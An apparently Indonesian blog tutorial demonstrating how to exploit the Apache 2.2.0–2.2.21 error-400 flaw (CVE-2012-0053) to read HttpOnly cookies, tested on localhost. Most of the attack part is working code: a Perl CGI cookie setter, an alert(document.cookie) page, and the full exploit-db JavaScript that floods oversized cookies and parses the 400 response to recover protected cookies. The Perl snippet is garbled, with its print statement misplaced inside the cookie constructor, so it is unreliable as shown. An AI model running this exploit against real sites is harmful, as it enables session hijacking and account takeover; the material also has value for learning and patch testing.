Cara Exploit Apache HTTPOnly Cookie

chmood

Pada Apache versi 2.20 sampai versi 2.2.21 terdapat kelemahan (vulnerable) sehingga attacker dapat melakukan exploit dengan cara mencuri cookie.
Info lengkap ada di :  http://www.securityfocus.com/bid/51706/discuss
“Apache HTTP Server is prone to an information-disclosure vulnerability. The issue occurs in the default error response for status code 400.
Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.
The vulnerability affects Apache HTTP Server versions 2.2.0 through 2.2.21.”


Berikut akan didemokan cara exploit melalui kelemahan apache tersebut
Langkah 1
Buat file perl dan letakkan di folder cgi-bin (di ubuntu: /usr/lib/cgi-bin):


#!/usr/bin/perl

use CGI;


use CGI::Cookie;

my $cgi = new CGI;


my $cookie = CGI::Cookie->new(-name=>'CVE20120053',

-value => 'testcookie',
 -expires => '+3M',
 -domain => 'localhost',


print $cgi->header(-cookie=>$cookie);

-path => '/',
 -secure => 0,
 -httponly => 0


);
Langkah 2
Buat file html untuk membaca cookie:

<html>

<body>


<script>



alert(document.cookie);

</script>
</body>


</html>
Langkah 3
Buka browser dan ketikkan url: http://localhost/cgi-bin/setcookie
1 Cara Exploit Apache HTTPOnly Cookie
Kita berhasil membuat cookie
Langkah 4
Buka browser dan ketikkan url: http://localhost/httponly/readcookie.html
2 Cara Exploit Apache HTTPOnly Cookie



Kita berhasil untuk membaca cookie dengan meng-injectkan javascript



Langkah 5



Edit file setcookie di cgi-bin folder dan set httponly ke 1



-httponly => 0



ganti nilainya dengan angka 1



-httponly => 1



Langkah 6



Buka browser lagi dan ketikkan url: http://localhost/httponly/readcookie.html



3 Cara Exploit Apache HTTPOnly Cookie





Kita gagal melakukan injeksi karena httponly-nya di enable.



Sebagaimana prolog diatas, kita akan melakukan injeksi cookie walaupun httponly-nya di enable



Langkah 7



Buat file injeksi dari http://www.exploit-db.com/exploits/18442/ sebagai berikut:


// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08


// Most browsers limit cookies to 4k characters, so we need multiple


function setCookies (good) {


    // Construct string for cookie value


    var str = "";


    for (var i=0; i< 819; i++) {


        str += "x";


    }


    // Set cookies


    for (i = 0; i < 10; i++) {


        // Expire evil cookie


        if (good) {


            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";


        }


        // Set evil cookie


        else {


            var cookie = "xss"+i+"="+str+";path=/";


        }


        document.cookie = cookie;


    }


}




function makeRequest() {


    setCookies();




    function parseCookies () {


        var cookie_dict = {};


        // Only react on 400 status


        if (xhr.readyState === 4 && xhr.status === 400) {


            // Replace newlines and match <pre> content


            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);


            if (content.length) {


                // Remove Cookie: prefix


                content = content[1].replace("Cookie: ", "");


                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);


                // Add cookies to object


                for (var i=0; i<cookies.length; i++) {


                    var s_c = cookies[i].split('=',2);


                    cookie_dict[s_c[0]] = s_c[1];


                }


            }


            // Unset malicious cookies


            setCookies(true);


            alert(JSON.stringify(cookie_dict));


        }


    }


    // Make XHR request


    var xhr = new XMLHttpRequest();


    xhr.onreadystatechange = parseCookies;


    xhr.open("GET", "/", true);


    xhr.send(null);


}




makeRequest();



Langkah 8





Buka browser dan ketikkan url: http://localhost/httponly/readcookie2.html



4 Cara Exploit Apache HTTPOnly Cookie



Bingo! Kita dapat melakukan injeksi dengan memanfaatkan kelemahan pada Apache.
















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